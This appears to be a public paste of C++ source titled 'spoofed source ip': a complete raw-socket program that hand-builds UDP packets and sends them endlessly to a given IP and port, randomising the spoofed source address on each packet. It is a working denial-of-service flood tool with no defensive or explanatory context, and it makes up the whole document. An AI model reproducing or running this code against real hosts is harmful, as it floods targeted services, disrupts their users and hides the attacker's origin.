
spoofed source ip
By: a guest on
Sep 10th, 2012 | syntax:
C++ | size: 1.59 KB | hits: 84 | expires: Never
#include <sys/socket.h>
#include <arpa/inet.h>
#include <netinet/in.h>
#include <netinet/ip.h>
#include <netinet/udp.h>
#include <stdio.h>
#include <cstdlib>
#include <time.h>
#include <string.h>
int main(int argc, char *argv[])
{
// Args.
if(argc != 3) { printf("Usage: $s [ip] [port]\n", argv[0]); exit(1); }
char* ipaddr = argv[1];
int port = atoi(argv[2]);
// Sockaddr.
struct sockaddr_in addr;
addr.sin_family = AF_INET;
addr.sin_port = htons(port);
addr.sin_addr.s_addr = inet_addr(ipaddr);
int salen = sizeof(struct sockaddr_in);
// Buffer.
char buf[1500];
// Rand.
srand(time(0));
// Socket.
int sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW);
if(sock <= 0) { printf("Unable to create raw socket.\n"); exit(1); }
// IP struct.
struct ip *iph = (struct ip*)buf;
iph->ip_hl = 5;
iph->ip_v = 4;
iph->ip_len = 0x0000;
iph->ip_tos = 0;
iph->ip_id = htonl(0xffff);
iph->ip_ttl = 255;
iph->ip_off = 0;
iph->ip_p = 0x11;
iph->ip_sum = 0;
iph->ip_src.s_addr = 0;
iph->ip_dst.s_addr = inet_addr(ipaddr);
// UDP struct.
struct udphdr *udp = (struct udphdr*)(buf + sizeof(struct ip));
udp->source = htons(1337);
udp->dest = htons(port);
udp->len = htons(8 + 1000);
udp->check = 0;
// Data.
memset(buf+sizeof(struct ip)+sizeof(struct udphdr), 0xff, 1000);
int len = sizeof(struct ip) + sizeof(struct udphdr) + 1000;
for(;;)
{
iph->ip_src.s_addr = rand();
sendto(sock, buf, len , 0, (struct sockaddr *)&addr, salen);
}
return 0;
}